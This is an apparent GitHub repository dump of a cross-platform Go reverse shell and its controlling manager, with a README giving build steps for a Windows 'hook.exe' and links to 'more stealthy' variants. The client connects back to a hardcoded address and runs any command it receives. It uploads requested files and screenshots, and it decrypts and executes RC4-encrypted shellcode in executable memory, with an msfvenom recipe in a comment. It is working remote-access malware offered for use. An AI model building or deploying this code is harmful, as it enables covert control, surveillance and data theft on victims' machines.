├── README.md ├── manageShell.go └── reverseshell.go /README.md: -------------------------------------------------------------------------------- 1 | # Platform independent Reverseshell and Manager in go lang 2 | 3 | ## Please check mask and shadow for more stealthy shells :) 4 | ### https://github.com/diljithishere/mask 5 | ### https://github.com/diljithishere/shadow 6 | 7 | ## Getting Started 8 | ### git clone https://github.com/diljithishere/reversehellgo.git 9 | ### go get github.com/fatih/color 10 | 11 | #### cd reverseshellgo 12 | ### Build reverseshell 13 | #### Update your manager ip and port { MANAGERIP := "ip:port" } 14 | #### GOOS=windows GOARCH=386 go build -o hook.exe reverseshell.go (For windows executable) 15 | #### go build -o hook reverseshell.go (Linux binary) 16 | 17 | ### Build Manager 18 | #### go build -o manager.exe manageshell.go (Windows) 19 | #### go build manageshell.go (Linux) 20 | 21 | ### Run manager 22 | #### ./manageshell 23 | 24 | ##### Will get a hooked prompt after a successfull reverse connection 25 | 26 | ### Prerequisites 27 | 28 | #### go 1.9 29 | 30 | ### Author 31 | #### Diljith S - Initial work - (https://github.com/diljithishere) 32 | -------------------------------------------------------------------------------- /manageShell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "io" 7 | "net" 8 | "os" 9 | "strconv" 10 | "strings" 11 | 12 | "github.com/fatih/color" 13 | ) 14 | 15 | // FILEREADBUFFSIZE Sets limit for reading file transfer buffer. 16 | const FILEREADBUFFSIZE = 512 17 | 18 | //PORT set server port here 19 | const LOCALPORT = "192.168.56.1:8080" 20 | 21 | func main() { 22 | redc := color.New(color.FgHiRed, color.Bold) 23 | greenc := color.New(color.FgHiGreen, color.Bold) 24 | cyanc := color.New(color.FgCyan, color.Bold) 25 | 26 | var recvdcmd [512]byte //stores output from reverse shell 27 | //sleepy := html.UnescapeString("&#" + strconv.Itoa(128564) + ";") //emoticons https://apps.timwhitlock.info/emoji/tables/unicode 28 | //sleepy := emoji.Sprint(":sleeping:") 29 | 30 | cyanc.Println("Not Yet Connected ...") 31 | listner, _ := net.Listen("tcp", LOCALPORT) 32 | conn, _ := listner.Accept() 33 | for { 34 | reader := bufio.NewReader(os.Stdin) 35 | redc.Print("[gotcha]") 36 | command, _ := reader.ReadString('\n') 37 | if strings.Compare(command, "bye") == 0 { 38 | conn.Write([]byte(command)) 39 | conn.Close() 40 | os.Exit(1) 41 | } else if strings.Index(command, "get") == 0 { 42 | getFilewithNameandSize(conn, command) 43 | 44 | } else if strings.Index(command, "grabscreen") == 0 { 45 | getFilewithNameandSize(conn, command) 46 | 47 | } else { 48 | conn.Write([]byte(command)) 49 | for { 50 | chunkbytes, _ := conn.Read(recvdcmd[0:]) 51 | //fmt.Println(string(recvdcmd[0:n])) 52 | //if string(recvdcmd[0:n]) == "END" 53 | if chunkbytes < 512 { 54 | //finaloutput = string(recvdcmd[0:chunkbytes]) + finaloutput 55 | greenc.Println(string(recvdcmd[0:chunkbytes])) 56 | break 57 | } else { 58 | greenc.Println(string(recvdcmd[0:chunkbytes])) 59 | 60 | } 61 | } 62 | } 63 | 64 | } 65 | 66 | } 67 | 68 | func getFilewithNameandSize(connection net.Conn, command string) { 69 | 70 | connection.Write([]byte(command)) 71 | 72 | bufferFileName := make([]byte, 64) 73 | bufferFileSize := make([]byte, 10) 74 | 75 | connection.Read(bufferFileSize) 76 | 77 | fileSize, _ := strconv.ParseInt(strings.Trim(string(bufferFileSize), ":"), 10, 64) 78 | fmt.Println("file size ", fileSize) 79 | 80 | connection.Read(bufferFileName) 81 | fileName := strings.Trim(string(bufferFileName), ":") 82 | 83 | fmt.Println("file name ", fileName) 84 | 85 | newFile, err := os.Create(fileName) 86 | 87 | if err != nil { 88 | fmt.Println(err) 89 | } 90 | defer newFile.Close() 91 | var receivedBytes int64 92 | 93 | for { 94 | if (fileSize - receivedBytes) < FILEREADBUFFSIZE { 95 | io.CopyN(newFile, connection, (fileSize - receivedBytes)) 96 | connection.Read(make([]byte, (receivedBytes+FILEREADBUFFSIZE)-fileSize)) 97 | break 98 | } 99 | io.CopyN(newFile, connection, FILEREADBUFFSIZE) 100 | receivedBytes += FILEREADBUFFSIZE 101 | } 102 | fmt.Println("File Download Completed ! ") 103 | return 104 | } 105 | -------------------------------------------------------------------------------- /reverseshell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rc4" 5 | "encoding/base64" 6 | "fmt" 7 | "image/png" 8 | "io" 9 | "net" 10 | "os" 11 | "os/exec" 12 | "runtime" 13 | "strconv" 14 | "strings" 15 | "syscall" 16 | "unsafe" 17 | 18 | "github.com/kbinani/screenshot" 19 | ) 20 | 21 | //BUFFSIZE is the buffer for communication 22 | const BUFFSIZE = 512 23 | 24 | //MANAGERIP connection string to the manager 25 | const MANAGERIP = "192.168.56.1:8080" 26 | 27 | func main() { 28 | 29 | conn, err := net.Dial("tcp", MANAGERIP) 30 | if err != nil { 31 | fmt.Println(err) 32 | } 33 | 34 | getshell(conn) 35 | 36 | } 37 | 38 | func getshell(conn net.Conn) { 39 | var cmdbuff []byte 40 | var command string 41 | cmdbuff = make([]byte, BUFFSIZE) 42 | var osshell string 43 | for { 44 | recvdbytes, _ := conn.Read(cmdbuff[0:]) 45 | command = string(cmdbuff[0:recvdbytes]) 46 | if strings.Index(command, "bye") == 0 { 47 | conn.Write([]byte("Shell Disconnected")) 48 | conn.Close() 49 | os.Exit(0) 50 | } else if strings.Index(command, "get") == 0 { 51 | fname := strings.Split(command, " ")[1] 52 | fmt.Println(fname) 53 | finflag := make(chan string) 54 | go sendFile(conn, fname, finflag) 55 | //<-finflag 56 | 57 | } else if strings.Index(command, "grabscreen") == 0 { 58 | filenames := getscreenshot() 59 | finflag := make(chan string) 60 | for _, fname := range filenames { 61 | go sendFile(conn, fname, finflag) 62 | <-finflag 63 | go removetempimages(filenames, finflag) 64 | //<-finflag 65 | 66 | } 67 | 68 | } else if strings.Index(command, "key") == 0 { 69 | shellcodevals := strings.Split(command, " ") 70 | //finflag := make(chan string) 71 | //msfvenom -p payload lhost=ip lport=port --encrypt=rc4 --encrypt-key fakeit -f csharp | base64 | tr -d "\n" 72 | decodedshellcode, _ := base64.StdEncoding.DecodeString(shellcodevals[2]) 73 | go decryptandexecuteshellcode([]byte(decodedshellcode), shellcodevals[1]) 74 | conn.Write([]byte("Done")) 75 | } else { 76 | //endcmd := "END" 77 | j := 0 78 | osshellargs := []string{"/C", command} 79 | 80 | if runtime.GOOS == "linux" { 81 | osshell = "/bin/sh" 82 | osshellargs = []string{"-c", command} 83 | 84 | } else { 85 | osshell = "cmd" 86 | //cmdout, _ := exec.Command("cmd", "/C", command).Output() 87 | } 88 | execcmd := exec.Command(osshell, osshellargs...) 89 | 90 | /*if runtime.GOOS == "windows" { 91 | execcmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 92 | }*/ 93 | 94 | cmdout, _ := execcmd.Output() 95 | if len(cmdout) <= 512 { 96 | conn.Write([]byte(cmdout)) 97 | //conn.Write([]byte(endcmd)) 98 | } else { 99 | 100 | i := BUFFSIZE 101 | for { 102 | if i > len(cmdout) { 103 | 104 | conn.Write(cmdout[j:len(cmdout)]) 105 | break 106 | } else { 107 | 108 | conn.Write(cmdout[j:i]) 109 | j = i 110 | } 111 | i = i + BUFFSIZE 112 | } 113 | 114 | } 115 | 116 | cmdout = cmdout[:0] 117 | } 118 | 119 | } 120 | } 121 | 122 | func decryptandexecuteshellcode(shellcodetodecrypt []byte, key string) { 123 | const ( 124 | MEM_COMMIT = 0x1000 125 | PAGE_EXECUTE_READWRITE = 0x40 126 | ) 127 | 128 | keybytes := []byte(key) 129 | ciphertext := shellcodetodecrypt 130 | decrypted := make([]byte, len(ciphertext)) 131 | // if our program was unable to read the file 132 | // print out the reason why it can't 133 | c, err := rc4.NewCipher(keybytes) 134 | if err != nil { 135 | fmt.Println(err.Error) 136 | } 137 | 138 | c.XORKeyStream(decrypted, ciphertext) 139 | 140 | k32 := syscall.MustLoadDLL("kernel32.dll") 141 | valloc := k32.MustFindProc("VirtualAlloc") 142 | 143 | //make space for shellcode 144 | addr, _, _ := valloc.Call(0, uintptr(len(decrypted)), MEM_COMMIT, PAGE_EXECUTE_READWRITE) 145 | ptrtoaddressallocated := (*[6500]byte)(unsafe.Pointer(addr)) 146 | //now copy our shellcode to the ptrtoaddressallocated 147 | for i, value := range decrypted { 148 | ptrtoaddressallocated[i] = value 149 | } 150 | 151 | syscall.Syscall(addr, 0, 0, 0, 0) 152 | //finflag <- "Shellcode executed" 153 | } 154 | 155 | func removetempimages(filenames []string, finflag chan string) { 156 | for _, name := range filenames { 157 | os.Remove(name) 158 | } 159 | } 160 | 161 | func sendFile(revConn net.Conn, fname string, finflag chan string) { 162 | 163 | file, _ := os.Open(strings.TrimSpace(fname)) 164 | fileInfo, err := file.Stat() 165 | if err != nil { 166 | fmt.Println(err) 167 | return 168 | } 169 | fileSize := padString(strconv.FormatInt(fileInfo.Size(), 10), 10) 170 | fileName := padString(fileInfo.Name(), 64) 171 | //Sending filename and filesize 172 | revConn.Write([]byte(fileSize)) 173 | revConn.Write([]byte(fileName)) 174 | sendBuffer := make([]byte, BUFFSIZE) 175 | //sending file contents 176 | for { 177 | _, err = file.Read(sendBuffer) 178 | if err == io.EOF { 179 | break 180 | } 181 | revConn.Write(sendBuffer) 182 | } 183 | finflag <- "file sent" 184 | 185 | //Completed file sending 186 | return 187 | } 188 | 189 | func padString(retunString string, toLength int) string { 190 | for { 191 | lengtString := len(retunString) 192 | if lengtString < toLength { 193 | retunString = retunString + ":" 194 | continue 195 | } 196 | break 197 | } 198 | return retunString 199 | } 200 | func getscreenshot() []string { 201 | n := screenshot.NumActiveDisplays() 202 | filenames := []string{} 203 | var fpth string 204 | for i := 0; i < n; i++ { 205 | bounds := screenshot.GetDisplayBounds(i) 206 | 207 | img, err := screenshot.CaptureRect(bounds) 208 | if err != nil { 209 | panic(err) 210 | } 211 | if runtime.GOOS == "windows" { 212 | fpth = `C:\Windows\Temp\` 213 | } else { 214 | fpth = `/tmp/` 215 | } 216 | fileName := fmt.Sprintf("Scr-%d-%dx%d.png", i, bounds.Dx(), bounds.Dy()) 217 | fullpath := fpth + fileName 218 | filenames = append(filenames, fullpath) 219 | file, _ := os.Create(fullpath) 220 | 221 | defer file.Close() 222 | png.Encode(file, img) 223 | 224 | //fmt.Printf("#%d : %v \"%s\"\n", i, bounds, fileName) 225 | } 226 | return filenames 227 | } 228 | --------------------------------------------------------------------------------